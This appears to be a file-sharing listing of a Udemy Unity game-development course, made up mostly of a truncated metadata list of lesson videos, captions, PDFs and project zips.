[crackzsoft.com]Udemy - Learn to Code by Making Games - The Complete Unity Developer

mp4   Hot:3375   Size:15.69 GB   Created:2017-08-30 10:34:51   Update:2021-12-13 07:40:12  

File List

  • 文件过大导致无法格式化,将以元数据展示。
    [{"path": "12 Final Section/297 About Dynamic Music.mp4", "length": 655449885}, {"path": "01 Introduction And Setup/002 Welcome To The Course.mp4", "length": 27126667}, {"path": "01 Introduction And Setup/003 Introducing The Unity Ecosystem.mp4", "length": 20064628}, {"path": "01 Introduction And Setup/004 How To Ask Good Questions.mp4", "length": 55167634}, {"path": "01 Introduction And Setup/005 Installing Unity.mp4", "length": 13626656}, {"path": "01 Introduction And Setup/006 Mac And PC Differences.mp4", "length": 14144811}, {"path": "01 Introduction And Setup/007 Unity Your IDE and Your Files.mp4", "length": 17582953}, {"path": "01 Introduction And Setup/008 Introducing the Unity Editor.mp4", "length": 19607029}, {"path": "01 Introduction And Setup/009 Monodevelop 101.mp4", "length": 11400334}, {"path": "01 Introduction And Setup/010 Saving And Closing Your Project.mp4", "length": 18196015}, {"path": "01 Introduction And Setup/011 Frequently Asked Questions.pdf", "length": 816819}, {"path": "01 Introduction And Setup/012 Useful Resources.pdf", "length": 197626}, {"path": "01 Introduction And Setup/attached_files/001 Promo Video & Games List/url.txt", "length": 36}, {"path": "01 Introduction And Setup/attached_files/002 Welcome To The Course/02b-Section-01-Notes.pdf", "length": 1639239}, {"path": "01 Introduction And Setup/attached_files/005 Installing Unity/url.txt", "length": 48}, {"path": "01 Introduction And Setup/attached_files/009 Monodevelop 101/url.txt", "length": 22}, {"path": "01 Introduction And Setup/captions/002 Welcome To The Course-EN.srt", "length": 4673}, {"path": "01 Introduction And Setup/captions/003 Introducing The Unity Ecosystem-EN.srt", "length": 5004}, {"path": "01 Introduction And Setup/captions/004 How To Ask Good Questions-EN.srt", "length": 20883}, {"path": "01 Introduction And Setup/captions/005 Installing Unity-EN.srt", "length": 7079}, {"path": "01 Introduction And Setup/captions/006 Mac And PC Differences-EN.srt", "length": 4369}, {"path": "01 Introduction And Setup/captions/007 Unity Your IDE and Your Files-EN.srt", "length": 6129}, {"path": "01 Introduction And Setup/captions/008 Introducing the Unity Editor-EN.srt", "length": 11551}, {"path": "01 Introduction And Setup/captions/009 Monodevelop 101-EN.srt", "length": 2558}, {"path": "01 Introduction And Setup/captions/010 Saving And Closing Your Project-EN.srt", "length": 10253}, {"path": "01 Introduction And Setup/quizzes/001 Section End QUIZ.html", "length": 5780}, {"path": "02 Number Wizard Basic Scripting/013 Introduction To Number Wizard.mp4", "length": 72603990}, {"path": "02 Number Wizard Basic Scripting/014 Section Notes.pdf", "length": 139835}, {"path": "02 Number Wizard Basic Scripting/015 Printing Text To The Console.mp4", "length": 45506620}, {"path": "02 Number Wizard Basic Scripting/016 Using Variables.mp4", "length": 19530978}, {"path": "02 Number Wizard Basic Scripting/017 Responding To Key Presses.mp4", "length": 64580971}, {"path": "02 Number Wizard Basic Scripting/018 Using IF to make choices.mp4", "length": 27466405}, {"path": "02 Number Wizard Basic Scripting/019 Scope And Context Of Variables.mp4", "length": 46058942}, {"path": "02 Number Wizard Basic Scripting/020 Simplifying by creating Functions.mp4", "length": 20026838}, {"path": "02 Number Wizard Basic Scripting/021 Completing Number Wizard.mp4", "length": 69881035}, {"path": "02 Number Wizard Basic Scripting/022 How To Debug Programs.mp4", "length": 40231362}, {"path": "02 Number Wizard Basic Scripting/023 Section Wrap Up.mp4", "length": 46056714}, {"path": "02 Number Wizard Basic Scripting/attached_files/022 How To Debug Programs/url.txt", "length": 205}, {"path": "02 Number Wizard Basic Scripting/attached_files/023 Section Wrap Up/Number-Wizard-Console-.zip", "length": 20202}, {"path": "02 Number Wizard Basic Scripting/captions/013 Introduction To Number Wizard-EN.srt", "length": 3476}, {"path": "02 Number Wizard Basic Scripting/captions/015 Printing Text To The Console-EN.srt", "length": 15236}, {"path": "02 Number Wizard Basic Scripting/captions/016 Using Variables-EN.srt", "length": 8427}, {"path": "02 Number Wizard Basic Scripting/captions/017 Responding To Key Presses-EN.srt", "length": 15457}, {"path": "02 Number Wizard Basic Scripting/captions/018 Using IF to make choices-EN.srt", "length": 8051}, {"path": "02 Number Wizard Basic Scripting/captions/019 Scope And Context Of Variables-EN.srt", "length": 13569}, {"path": "02 Number Wizard Basic Scripting/captions/020 Simplifying by creating Functions-EN.srt", "length": 8124}, {"path": "02 Number Wizard Basic Scripting/captions/021 Completing Number Wizard-EN.srt", "length": 10856}, {"path": "02 Number Wizard Basic Scripting/captions/022 How To Debug Programs-EN.srt", "length": 16776}, {"path": "02 Number Wizard Basic Scripting/captions/023 Section Wrap Up-EN.srt", "length": 4751}, {"path": "02 Number Wizard Basic Scripting/quizzes/002 Mid Section QUIZ.html", "length": 10438}, {"path": "02 Number Wizard Basic Scripting/quizzes/003 Section End QUIZ.html", "length": 8684}, {"path": "03 Text101 - Text Adventure/024 Introduction To Text101.mp4", "length": 48899376}, {"path": "03 Text101 - Text Adventure/025 Game Design Document.pdf", "length": 269527}, {"path": "03 Text101 - Text Adventure/026 Your Text 101 Assets.pdf", "length": 267982}, {"path": "03 Text101 - Text Adventure/027 Section Notes.pdf", "length": 3892266}, {"path": "03 Text101 - Text Adventure/028 Creating New Projects.mp4", "length": 22706640}, {"path": "03 Text101 - Text Adventure/029 Adding 2D User Interface Text.mp4", "length": 50910985}, {"path": "03 Text101 - Text Adventure/030 Word Wrapping Joining Strings.mp4", "length": 35587350}, {"path": "03 Text101 - Text Adventure/031 Building Your Game Engine.mp4", "length": 71205663}, {"path": "03 Text101 - Text Adventure/032 Our TextController.cs Script.pdf", "length": 50269}, {"path": "03 Text101 - Text Adventure/033 Re-Organising Your Code.mp4", "length": 53289105}, {"path": "03 Text101 - Text Adventure/034 Extending Our Prison Story.mp4", "length": 95747132}, {"path": "03 Text101 - Text Adventure/035 Our Extended Story Script.pdf", "length": 59811}, {"path": "03 Text101 - Text Adventure/036 Build For Web Share.mp4", "length": 28003744}, {"path": "03 Text101 - Text Adventure/037 Unity 5 Web GL Build Optional.mp4", "length": 20914892}, {"path": "03 Text101 - Text Adventure/038 DOWNLOAD Unity Project.html", "length": 906}, {"path": "03 Text101 - Text Adventure/039 Section Wrap Up.mp4", "length": 20068413}, {"path": "03 Text101 - Text Adventure/attached_files/025 Game Design Document/url.txt", "length": 84}, {"path": "03 Text101 - Text Adventure/attached_files/026 Your Text 101 Assets/Prison-Word-Png.zip", "length": 29267}, {"path": "03 Text101 - Text Adventure/attached_files/027 Section Notes/Text-101-Slides-White-Background.pdf", "length": 2351161}, {"path": "03 Text101 - Text Adventure/attached_files/034 Extending Our Prison Story/url.txt", "length": 84}, {"path": "03 Text101 - Text Adventure/attached_files/036 Build For Web & Share/url.txt", "length": 63}, {"path": "03 Text101 - Text Adventure/attached_files/038 DOWNLOAD Unity Project/Text-101.zip", "length": 361994}, {"path": "03 Text101 - Text Adventure/attached_files/039 Section Wrap Up/url.txt", "length": 38}, {"path": "03 Text101 - Text Adventure/captions/024 Introduction To Text101-EN.srt", "length": 4756}, {"path": "03 Text101 - Text Adventure/captions/028 Creating New Projects-EN.srt", "length": 10058}, {"path": "03 Text101 - Text Adventure/captions/029 Adding 2D User Interface Text-EN.srt", "length": 20484}, {"path": "03 Text101 - Text Adventure/captions/030 Word Wrapping Joining Strings-EN.srt", "length": 13158}, {"path": "03 Text101 - Text Adventure/captions/031 Building Your Game Engine-EN.srt", "length": 29289}, {"path": "03 Text101 - Text Adventure/captions/033 Re-Organising Your Code-EN.srt", "length": 19741}, {"path": "03 Text101 - Text Adventure/captions/034 Extending Our Prison Story-EN.srt", "length": 20121}, {"path": "03 Text101 - Text Adventure/captions/039 Section Wrap Up-EN.srt", "length": 1854}, {"path": "03 Text101 - Text Adventure/quizzes/004 Section End QUIZ.html", "length": 6742}, {"path": "04 Number Wizard UI/040 Introduction To User Interface.mp4", "length": 39828686}, {"path": "04 Number Wizard UI/041 Game Design Document.pdf", "length": 379339}, {"path": "04 Number Wizard UI/042 Section Notes.pdf", "length": 4509176}, {"path": "04 Number Wizard UI/043 About Objects And Classes.mp4", "length": 46632206}, {"path": "04 Number Wizard UI/044 Creating and Saving Levels.mp4", "length": 10976876}, {"path": "04 Number Wizard UI/045 How To Add Text To The Scene.mp4", "length": 36177105}, {"path": "04 Number Wizard UI/046 Adding a Start Button.mp4", "length": 18149378}, {"path": "04 Number Wizard UI/047 Calling Scripts from Buttons.mp4", "length": 25005911}, {"path": "04 Number Wizard UI/048 How To Load Scenes and Quit.mp4", "length": 39828828}, {"path": "04 Number Wizard UI/049 Using A Game Design Document.mp4", "length": 33911931}, {"path": "04 Number Wizard UI/050 Importing Previous Number Wizard Script.mp4", "length": 53785291}, {"path": "04 Number Wizard UI/051 Old Number Wizard Code.pdf", "length": 45616}, {"path": "04 Number Wizard UI/052 Finishing Number Wizard UI.mp4", "length": 21098348}, {"path": "04 Number Wizard UI/053 Unity 5 Web GL Sharing Optional.mp4", "length": 28688803}, {"path": "04 Number Wizard UI/054 DOWNLOAD Unity Project.html", "length": 906}, {"path": "04 Number Wizard UI/055 Section Wrap Up.mp4", "length": 67654544}, {"path": "04 Number Wizard UI/attached_files/042 Section Notes/Number-Wizard-UI-White-Background.pdf", "length": 2786087}, {"path": "04 Number Wizard UI/attached_files/043 About Objects And Classes/url.txt", "length": 98}, {"path": "04 Number Wizard UI/attached_files/054 DOWNLOAD Unity Project/Final-Number-Wizard.zip", "length": 33974}, {"path": "04 Number Wizard UI/captions/040 Introduction To User Interface-EN.srt", "length": 4321}, {"path": "04 Number Wizard UI/captions/043 About Objects And Classes-EN.srt", "length": 5002}, {"path": "04 Number Wizard UI/captions/044 Creating and Saving Levels-EN.srt", "length": 5543}, {"path": "04 Number Wizard UI/captions/045 How To Add Text To The Scene-EN.srt", "length": 24607}, {"path": "04 Number Wizard UI/captions/046 Adding a Start Button-EN.srt", "length": 10433}, {"path": "04 Number Wizard UI/captions/047 Calling Scripts from Buttons-EN.srt", "length": 16187}, {"path": "04 Number Wizard UI/captions/048 How To Load Scenes and Quit-EN.srt", "length": 23657}, {"path": "04 Number Wizard UI/captions/049 Using A Game Design Document-EN.srt", "length": 19253}, {"path": "04 Number Wizard UI/captions/050 Importing Previous Number Wizard Script-EN.srt", "length": 34020}, {"path": "04 Number Wizard UI/captions/052 Finishing Number Wizard UI-EN.srt", "length": 9869}, {"path": "04 Number Wizard UI/captions/053 Unity 5 Web GL Sharing Optional-EN.srt", "length": 9528}, {"path": "04 Number Wizard UI/captions/055 Section Wrap Up-EN.srt", "length": 6313}, {"path": "04 Number Wizard UI/quizzes/005 Mid Section QUIZ.html", "length": 6080}, {"path": "04 Number Wizard UI/quizzes/006 Section End QUIZ.html", "length": 6572}, {"path": "05 Block Breaker/056 Introduction To Block Breaker.mp4", "length": 41780679}, {"path": "05 Block Breaker/057 Game Design Document.pdf", "length": 784680}, {"path": "05 Block Breaker/058 Your Block Breaker Assets.pdf", "length": 3031866}, {"path": "05 Block Breaker/059 Section Notes.pdf", "length": 1053356}, {"path": "05 Block Breaker/060 Gimp Image Editing 101.mp4", "length": 61037239}, {"path": "05 Block Breaker/061 Creating A 2D Brick Sprite.mp4", "length": 56425643}, {"path": "05 Block Breaker/062 Import The Menu System.mp4", "length": 32915757}, {"path": "05 Block Breaker/063 Playing Background Music.mp4", "length": 34221720}, {"path": "05 Block Breaker/064 About Statics Singletons.mp4", "length": 69218366}, {"path": "05 Block Breaker/065 Using Static Variables.mp4", "length": 24285133}, {"path": "05 Block Breaker/066 Execution Order Singletons.mp4", "length": 48954295}, {"path": "05 Block Breaker/067 Z-Depth in 2D games.mp4", "length": 14364660}, {"path": "05 Block Breaker/068 Setting Up Your Play Space.mp4", "length": 32430274}, {"path": "05 Block Breaker/069 Ball Gravity Colliders Fun.mp4", "length": 29954563}, {"path": "05 Block Breaker/070 Colliders Triggers Collisions.mp4", "length": 38523453}, {"path": "05 Block Breaker/071 Tidying Up Before Moving On.mp4", "length": 26980390}, {"path": "05 Block Breaker/072 Choosing Collider Type In Unity.mp4", "length": 31021888}, {"path": "05 Block Breaker/073 Using Physics Materials.mp4", "length": 28857948}, {"path": "05 Block Breaker/074 Movement By Mouse.mp4", "length": 46540980}, {"path": "05 Block Breaker/075 Launching Ball On Mouse Click.mp4", "length": 50779010}, {"path": "05 Block Breaker/076 Invisible Colliders Gravity Scale.mp4", "length": 34950537}, {"path": "05 Block Breaker/077 Creating Using Unity Prefabs.mp4", "length": 42352789}, {"path": "05 Block Breaker/078 Unity Editor Snap To Grid.mp4", "length": 20797604}, {"path": "05 Block Breaker/079 Making Everything A Prefab.mp4", "length": 32025241}, {"path": "05 Block Breaker/080 GameObject.FindObjectOfType.mp4", "length": 34939654}, {"path": "05 Block Breaker/081 Level Build Order.mp4", "length": 44647856}, {"path": "05 Block Breaker/082 Destroying When Hit.mp4", "length": 33975456}, {"path": "05 Block Breaker/083 Importing Sprite Sheets.mp4", "length": 70330999}, {"path": "05 Block Breaker/084 Swapping Sprites In Script.mp4", "length": 44821771}, {"path": "05 Block Breaker/085 Consolidating Hit Counting.mp4", "length": 48235319}, {"path": "05 Block Breaker/086 Statics To Detect Win Condition.mp4", "length": 48301474}, {"path": "05 Block Breaker/087 Playing Sound Effects On Impact.mp4", "length": 48139321}, {"path": "05 Block Breaker/088 Using Random.Range.mp4", "length": 31007837}, {"path": "05 Block Breaker/089 Automated Play Testing.mp4", "length": 60938683}, {"path": "05 Block Breaker/090 Build Share On The Web.mp4", "length": 32974871}, {"path": "05 Block Breaker/091 Fixing User Reported Bugs.mp4", "length": 24022973}, {"path": "05 Block Breaker/092 More Complex Collider Shapes.mp4", "length": 47339115}, {"path": "05 Block Breaker/093 Making Code Extendable.mp4", "length": 28037431}, {"path": "05 Block Breaker/094 Using Particle Systems.mp4", "length": 46603711}, {"path": "05 Block Breaker/095 Unity 5 Upgrade WebGL Build.mp4", "length": 26073130}, {"path": "05 Block Breaker/096 DOWNLOAD Unity Project.html", "length": 906}, {"path": "05 Block Breaker/097 Section Wrap Up.mp4", "length": 31891881}, {"path": "05 Block Breaker/attached_files/058 Your Block Breaker Assets/Block-Breaker-Assets-V-4.zip", "length": 1209554}, {"path": "05 Block Breaker/attached_files/059 Section Notes/Block-Breaker-Slides-White-Background.pdf", "length": 190185}, {"path": "05 Block Breaker/attached_files/060 Gimp Image Editing 101/url.txt", "length": 94}, {"path": "05 Block Breaker/attached_files/063 Playing Background Music/url.txt", "length": 25}, {"path": "05 Block Breaker/attached_files/064 About Statics & Singletons/url.txt", "length": 73}, {"path": "05 Block Breaker/attached_files/066 Execution Order & Singletons/url.txt", "length": 132}, {"path": "05 Block Breaker/attached_files/068 Setting Up Your Play Space/Setting-Up-Your-Play-Space-End-State.zip", "length": 969577}, {"path": "05 Block Breaker/attached_files/070 Colliders, Triggers & Collisions/url.txt", "length": 53}, {"path": "05 Block Breaker/attached_files/074 Movement By Mouse/url.txt", "length": 56}, {"path": "05 Block Breaker/attached_files/075 Launching Ball On Mouse Click/Our-Project-End-State.zip", "length": 972665}, {"path": "05 Block Breaker/attached_files/082 Destroying When Hit/url.txt", "length": 59}, {"path": "05 Block Breaker/attached_files/083 Importing Sprite Sheets/Bricks.png", "length": 31495}, {"path": "05 Block Breaker/attached_files/085 Consolidating Hit Counting/url.txt", "length": 40}, {"path": "05 Block Breaker/attached_files/086 Statics To Detect Win Condition/Statics-To-Detect-Win-Condition-End-State.zip", "length": 1259646}, {"path": "05 Block Breaker/attached_files/089 Automated Play Testing/Automated-Play-Testing-End-State.zip", "length": 2377794}, {"path": "05 Block Breaker/attached_files/090 Build & Share On The Web/url.txt", "length": 72}, {"path": "05 Block Breaker/attached_files/094 Using Particle Systems/url.txt", "length": 116}, {"path": "05 Block Breaker/attached_files/096 DOWNLOAD Unity Project/Block-Breaker.zip", "length": 23559249}, {"path": "05 Block Breaker/attached_files/097 Section Wrap Up/url.txt", "length": 38}, {"path": "05 Block Breaker/captions/056 Introduction To Block Breaker-EN.srt", "length": 3936}, {"path": "05 Block Breaker/captions/060 Gimp Image Editing 101-EN.srt", "length": 20236}, {"path": "05 Block Breaker/captions/061 Creating A 2D Brick Sprite-EN.srt", "length": 16857}, {"path": "05 Block Breaker/captions/062 Import The Menu System-EN.srt", "length": 17427}, {"path": "05 Block Breaker/captions/063 Playing Background Music-EN.srt", "length": 17930}, {"path": "05 Block Breaker/captions/064 About Statics Singletons-EN.srt", "length": 6549}, {"path": "05 Block Breaker/captions/065 Using Static Variables-EN.srt", "length": 14701}, {"path": "05 Block Breaker/captions/066 Execution Order Singletons-EN.srt", "length": 17785}, {"path": "05 Block Breaker/captions/067 Z-Depth in 2D games-EN.srt", "length": 5431}, {"path": "05 Block Breaker/captions/068 Setting Up Your Play Space-EN.srt", "length": 15656}, {"path": "05 Block Breaker/captions/069 Ball Gravity Colliders Fun-EN.srt", "length": 15041}, {"path": "05 Block Breaker/captions/070 Colliders Triggers Collisions-EN.srt", "length": 16171}, {"path": "05 Block Breaker/captions/071 Tidying Up Before Moving On-EN.srt", "length": 15598}, {"path": "05 Block Breaker/captions/072 Choosing Collider Type In Unity-EN.srt", "length": 15251}, {"path": "05 Block Breaker/captions/073 Using Physics Materials-EN.srt", "length": 12380}, {"path": "05 Block Breaker/captions/074 Movement By Mouse-EN.srt", "length": 22949}, {"path": "05 Block Breaker/captions/075 Launching Ball On Mouse Click-EN.srt", "length": 24984}, {"path": "05 Block Breaker/captions/076 Invisible Colliders Gravity Scale-EN.srt", "length": 18502}, {"path": "05 Block Breaker/captions/077 Creating Using Unity Prefabs-EN.srt", "length": 23424}, {"path": "05 Block Breaker/captions/078 Unity Editor Snap To Grid-EN.srt", "length": 9728}, {"path": "05 Block Breaker/captions/079 Making Everything A Prefab-EN.srt", "length": 17671}, {"path": "05 Block Breaker/captions/080 GameObject.FindObjectOfType-EN.srt", "length": 15764}, {"path": "05 Block Breaker/captions/081 Level Build Order-EN.srt", "length": 19182}, {"path": "05 Block Breaker/captions/082 Destroying When Hit-EN.srt", "length": 17419}, {"path": "05 Block Breaker/captions/083 Importing Sprite Sheets-EN.srt", "length": 28848}, {"path": "05 Block Breaker/captions/084 Swapping Sprites In Script-EN.srt", "length": 20867}, {"path": "05 Block Breaker/captions/085 Consolidating Hit Counting-EN.srt", "length": 19305}, {"path": "05 Block Breaker/captions/086 Statics To Detect Win Condition-EN.srt", "length": 25771}, {"path": "05 Block Breaker/captions/087 Playing Sound Effects On Impact-EN.srt", "length": 19595}, {"path": "05 Block Breaker/captions/088 Using Random.Range-EN.srt", "length": 15320}, {"path": "05 Block Breaker/captions/089 Automated Play Testing-EN.srt", "length": 24429}, {"path": "05 Block Breaker/captions/090 Build Share On The Web-EN.srt", "length": 14478}, {"path": "05 Block Breaker/captions/091 Fixing User Reported Bugs-EN.srt", "length": 10097}, {"path": "05 Block Breaker/captions/092 More Complex Collider Shapes-EN.srt", "length": 22231}, {"path": "05 Block Breaker/captions/093 Making Code Extendable-EN.srt", "length": 13049}, {"path": "05 Block Breaker/captions/094 Using Particle Systems-EN.srt", "length": 19421}, {"path": "05 Block Breaker/captions/095 Unity 5 Upgrade WebGL Build-EN.srt", "length": 8422}, {"path": "05 Block Breaker/captions/097 Section Wrap Up-EN.srt", "length": 3124}, {"path": "05 Block Breaker/quizzes/007 Mid Section QUIZ.html", "length": 9179}, {"path": "05 Block Breaker/quizzes/008 Section End QUIZ.html", "length": 7885}, {"path": "06 Laser Defender/098 Introduction to Laser Defender.mp4", "length": 28033527}, {"path": "06 Laser Defender/099 Game Design Document.pdf", "length": 171791}, {"path": "06 Laser Defender/100 Your Laser Defender Assets.pdf", "length": 1927768}, {"path": "06 Laser Defender/101 Section Notes.pdf", "length": 3271866}, {"path": "06 Laser Defender/102 Importing The Menu System.mp4", "length": 17188553}, {"path": "06 Laser Defender/103 A Starship We Can Control.mp4", "length": 35127017}, {"path": "06 Laser Defender/104 Restricting The Players Position.mp4", "length": 47681611}, {"path": "06 Laser Defender/105 Creating The Enemies.mp4", "length": 27801384}, {"path": "06 Laser Defender/106 Creating Enemy Positions.mp4", "length": 38210943}, {"path": "06 Laser Defender/107 Moving The Enemy Formation.mp4", "length": 65835072}, {"path": "06 Laser Defender/108 Fixing The Formation Movement.mp4", "length": 27093594}, {"path": "06 Laser Defender/109 Spawning Projectiles.mp4", "length": 70843196}, {"path": "06 Laser Defender/110 Shooting Enemies.mp4", "length": 51636176}, {"path": "06 Laser Defender/111 Enemies Shooting Back.mp4", "length": 83398980}, {"path": "06 Laser Defender/112 Controlling Collisions with Layers.mp4", "length": 24838970}, {"path": "06 Laser Defender/113 Detecting Enemies Have Been Destroyed.mp4", "length": 34871056}, {"path": "06 Laser Defender/114 Spawning Enemies One By One.mp4", "length": 38093146}, {"path": "06 Laser Defender/115 Enemy Position Animation.mp4", "length": 61621072}, {"path": "06 Laser Defender/116 Creating A Starfield.mp4", "length": 54199304}, {"path": "06 Laser Defender/117 Keeping Score.mp4", "length": 52036248}, {"path": "06 Laser Defender/118 Sound Effects For Fun And Profit.mp4", "length": 35379019}, {"path": "06 Laser Defender/119 Sprite Rendering Order.mp4", "length": 30396829}, {"path": "06 Laser Defender/120 Polishing The Menu System I.mp4", "length": 52185646}, {"path": "06 Laser Defender/121 Polishing The Menu System II.mp4", "length": 54445804}, {"path": "06 Laser Defender/122 Unity 5 Web GL Sharing Optional.mp4", "length": 57512784}, {"path": "06 Laser Defender/123 DOWNLOAD Unity Project.html", "length": 475}, {"path": "06 Laser Defender/124 Section Wrap Up.mp4", "length": 40350056}, {"path": "06 Laser Defender/attached_files/100 Your Laser Defender Assets/Laser-Defender-Assets.zip", "length": 54508699}, {"path": "06 Laser Defender/attached_files/101 Section Notes/Laser-Defender-White-Background.pdf", "length": 3065971}, {"path": "06 Laser Defender/attached_files/103 A Starship We Can Control/url.txt", "length": 98}, {"path": "06 Laser Defender/attached_files/105 Creating The Enemies/Creating-The-Enemy.zip", "length": 855160}, {"path": "06 Laser Defender/attached_files/121 Polishing The Menu System II/url.txt", "length": 95}, {"path": "06 Laser Defender/attached_files/123 DOWNLOAD Unity Project/Completeunitycourse-Laser-Defender-C2008d595968.zip", "length": 52788844}, {"path": "06 Laser Defender/captions/098 Introduction to Laser Defender-EN.srt", "length": 2785}, {"path": "06 Laser Defender/captions/102 Importing The Menu System-EN.srt", "length": 7253}, {"path": "06 Laser Defender/captions/103 A Starship We Can Control-EN.srt", "length": 13351}, {"path": "06 Laser Defender/captions/104 Restricting The Players Position-EN.srt", "length": 19621}, {"path": "06 Laser Defender/captions/105 Creating The Enemies-EN.srt", "length": 12630}, {"path": "06 Laser Defender/captions/106 Creating Enemy Positions-EN.srt", "length": 18999}, {"path": "06 Laser Defender/captions/107 Moving The Enemy Formation-EN.srt", "length": 21962}, {"path": "06 Laser Defender/captions/108 Fixing The Formation Movement-EN.srt", "length": 11183}, {"path": "06 Laser Defender/captions/109 Spawning Projectiles-EN.srt", "length": 24688}, {"path": "06 Laser Defender/captions/110 Shooting Enemies-EN.srt", "length": 23273}, {"path": "06 Laser Defender/captions/111 Enemies Shooting Back-EN.srt", "length": 30269}, {"path": "06 Laser Defender/captions/114 Spawning Enemies One By One-EN.srt", "length": 14319}, {"path": "06 Laser Defender/captions/115 Enemy Position Animation-EN.srt", "length": 28029}, {"path": "06 Laser Defender/captions/116 Creating A Starfield-EN.srt", "length": 17784}, {"path": "06 Laser Defender/captions/118 Sound Effects For Fun And Profit-EN.srt", "length": 9222}, {"path": "06 Laser Defender/captions/119 Sprite Rendering Order-EN.srt", "length": 9118}, {"path": "06 Laser Defender/captions/120 Polishing The Menu System I-EN.srt", "length": 19789}, {"path": "06 Laser Defender/captions/122 Unity 5 Web GL Sharing Optional-EN.srt", "length": 5332}, {"path": "06 Laser Defender/captions/124 Section Wrap Up-EN.srt", "length": 3792}, {"path": "06 Laser Defender/quizzes/009 Mid Section QUIZ.html", "length": 12011}, {"path": "06 Laser Defender/quizzes/010 Mid Section QUIZ.html", "length": 9650}, {"path": "06 Laser Defender/quizzes/011 Section End QUIZ.html", "length": 13762}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/125 Introduction To Glitch Garden.mp4", "length": 58861913}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/126 Game Design Document.html", "length": 544}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/127 Your Glitch Garden Assets.pdf", "length": 3032100}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/128 Section Notes.pdf", "length": 5270491}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/129 Making A Splash Screen.mp4", "length": 55837458}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/130 Scaling Aspect Ratios.mp4", "length": 65924873}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/131 Alternative Music Manager.mp4", "length": 49250179}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/132 Menus Options Music.mp4", "length": 68683689}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/133 Adding Fade Transitions.mp4", "length": 46286557}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/134 Scaling Level Backgrounds.mp4", "length": 49779015}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/135 Introducing PlayerPrefs.mp4", "length": 58603026}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/136 Our PlayerPrefsManager.cs.mp4", "length": 29153818}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/137 Our PlayerPrefsManager - part 2.mp4", "length": 34557809}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/138 UI Sliders For Options.mp4", "length": 78991865}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/139 Sprite Sheet Animation.mp4", "length": 66127133}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/140 Ratio Math Primer.mp4", "length": 56318732}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/141 World Space UI Canvas.mp4", "length": 80512988}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/142 The Animation Controller.mp4", "length": 61049333}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/143 Texture Size Compression.mp4", "length": 64120628}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/144 Using Gimp To Slice Images.mp4", "length": 71973304}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/145 2D Bone-Based Animation.mp4", "length": 70584665}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/146 Animating Our Lizard.mp4", "length": 87856691}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/147 Animating Our Cactus.mp4", "length": 51711444}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/148 Finishing Our Defenders.mp4", "length": 91306883}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/149 Finishing Our Attackers.mp4", "length": 79122154}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/150 Projectile Animation.mp4", "length": 45377960}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/151 Using Unity Remote.mp4", "length": 82191784}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/152 Review Improvements.mp4", "length": 69622286}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/153 Moving Attackers From Script.mp4", "length": 86389547}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/154 Collision Matrix In Script.mp4", "length": 124606069}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/155 Using Animation Events.mp4", "length": 105832942}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/156 Components vs Inheritance.mp4", "length": 93069706}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/157 Using A Health Component.mp4", "length": 97098184}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/158 Animating Defenders Projectiles.mp4", "length": 143947898}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/159 Animator Firing Projectiles.mp4", "length": 110902989}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/160 Separate Attack Fire States.mp4", "length": 70241801}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/161 Handling Projectile Damage.mp4", "length": 46608051}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/162 Tower Selector Buttons.mp4", "length": 103935723}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/163 Creating When Needed.mp4", "length": 52652956}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/164 Spawn Defenders To Grid.mp4", "length": 107796670}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/165 Enemy Spawning Flow.mp4", "length": 118255183}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/166 Shooters Detect Attackers.mp4", "length": 116360699}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/167 Using Stars As Currency.mp4", "length": 84642805}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/168 Spending Star Currency.mp4", "length": 66762468}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/169 Handle Lose Condition.mp4", "length": 50058325}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/170 UI Slider Level Timer.mp4", "length": 101768359}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/171 Review Tidy Up.mp4", "length": 104631029}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/172 Play Testing Tuning.mp4", "length": 115445657}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/173 Installing Android Studio.mp4", "length": 24465393}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/174 Building To Android.mp4", "length": 89883622}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/175 Build To iOS Simulator.mp4", "length": 53272101}, {"path": "07 Glitch Garden A Plants vs. 